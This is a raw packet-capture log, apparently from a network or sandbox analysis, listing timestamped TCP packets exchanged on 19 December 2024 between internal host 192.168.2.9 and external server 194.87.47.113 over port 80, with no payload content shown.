Dec 19, 2024 08:01:07.577616930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.577632904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.577665091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.578485966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.578593016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.578605890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.578663111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.579411030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.579458952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.579462051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.579474926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.579519987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.580487013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.580539942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.580554962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.580579042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.581310034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.581367016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.581378937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.581378937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.581415892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.582313061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.582360029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.582374096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.582395077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.583246946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.583270073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.583282948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.583287954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.583322048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.584136963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.584192991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.584206104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.584233046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.585095882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.585145950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.585146904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.585160017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.585192919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.586055994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.586097002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.586112022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.586245060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.587022066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.587079048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.587094069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.587100983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.587131023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.588022947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.588036060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.588051081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.588074923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.588937044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.588974953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.588980913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.588994980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.589032888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.590068102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.590121031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.590132952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.590162039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.591276884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.591371059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.591387033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.591399908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.591439009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.592458010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.592503071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.592516899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.592550993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.593275070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.593316078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.593328953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.593332052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.593367100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.594234943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.594247103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.594259024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.594310045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.595272064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.595293999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.595305920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.595331907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.595360041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.596465111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.596477985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.596489906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.596518993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.597527027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.597562075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.597572088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.597575903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.597619057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.598615885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.598668098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.598680019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.598710060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.599808931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.599860907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.599863052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.599873066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.599905968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.600950956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.601010084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.601022959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.601053953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.602025032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602072954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.602092028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602104902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602142096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.602763891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602787018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602799892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.602826118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.603352070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603389025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.603396893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603410006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603441000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.603847980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603908062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603920937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.603941917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.604464054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.604496956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.604504108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.604516983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.604547977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.733272076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733309031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733319998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733407021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.733647108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733690023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.733690977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733704090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.733736038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.734580994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.734644890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.734657049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.734680891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.735624075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.735661030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.735706091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.735727072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.735759020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.736522913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.736602068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.736641884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.768337965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768377066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768476009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768482924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.768729925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768764973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.768791914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768805981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.768840075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.769701958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.769784927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.769798040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.769817114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.770618916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.770653963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.770675898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.770689011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.770720005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.771595955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.771653891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.771666050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.771687031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.772535086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.772568941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.772569895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.772582054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.772613049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.773503065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.773601055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.773613930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.773639917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.774454117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.774471998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.774485111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.774503946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.774528027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.775388956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.775437117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.775449038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.775475979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.776449919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.776463032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.776475906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.776495934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.776514053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.777272940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.777350903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.777364016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.777399063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.778240919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.778287888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.778299093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.778312922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.778347015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.779200077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.779274940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.779288054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.779336929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.780169010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.780215979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.780236006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.780249119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.780283928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.781210899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.781235933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.781255007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.781282902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.782087088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.782138109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.782152891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.782160044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.782202959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.784053087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.784065962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.784084082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.784111023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.786524057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786556005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786569118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786604881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786617994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.786618948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786632061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786664963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786665916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.786679029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786691904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786712885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.786732912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.786823034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786921978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786935091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.786953926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.787944078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.787987947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.787990093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.788002014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.788032055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.789144039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.789155960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.789166927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.789191008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.790179968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790199041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790211916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790230036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.790251017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.790724993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790767908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790780067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.790811062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.791618109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.791665077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.791683912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.791697025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.791728973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.792532921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.792582989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.792597055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.792619944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.793499947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.793541908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.793613911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.793627977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.793659925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.794420004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.794493914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.794507027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.794536114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.795384884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.795424938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.795433044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.795437098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.795469046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.796312094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.796355009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.796367884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.796396017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.925561905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.925599098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.925612926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.925817966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.925934076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.925971031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.925973892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.925983906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.926013947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.926882982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.926929951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.926943064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.926969051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.927829027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.927876949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.927882910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.927896976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.927928925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.928797007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.928883076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.928921938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.960552931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960589886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960602999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960700035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.960886002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960928917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.960937977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960951090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.960989952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.961896896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.961949110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.961966991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.961990118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.962821960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.962869883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.962891102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.962903976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.962987900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.963794947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.963819027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.963833094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.963860989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.964740038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.964782000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.964826107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.964838982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.964874983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.965702057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.965787888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.965801001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.965827942 CET	49739	80	192.168.2.9	194.87.47.113
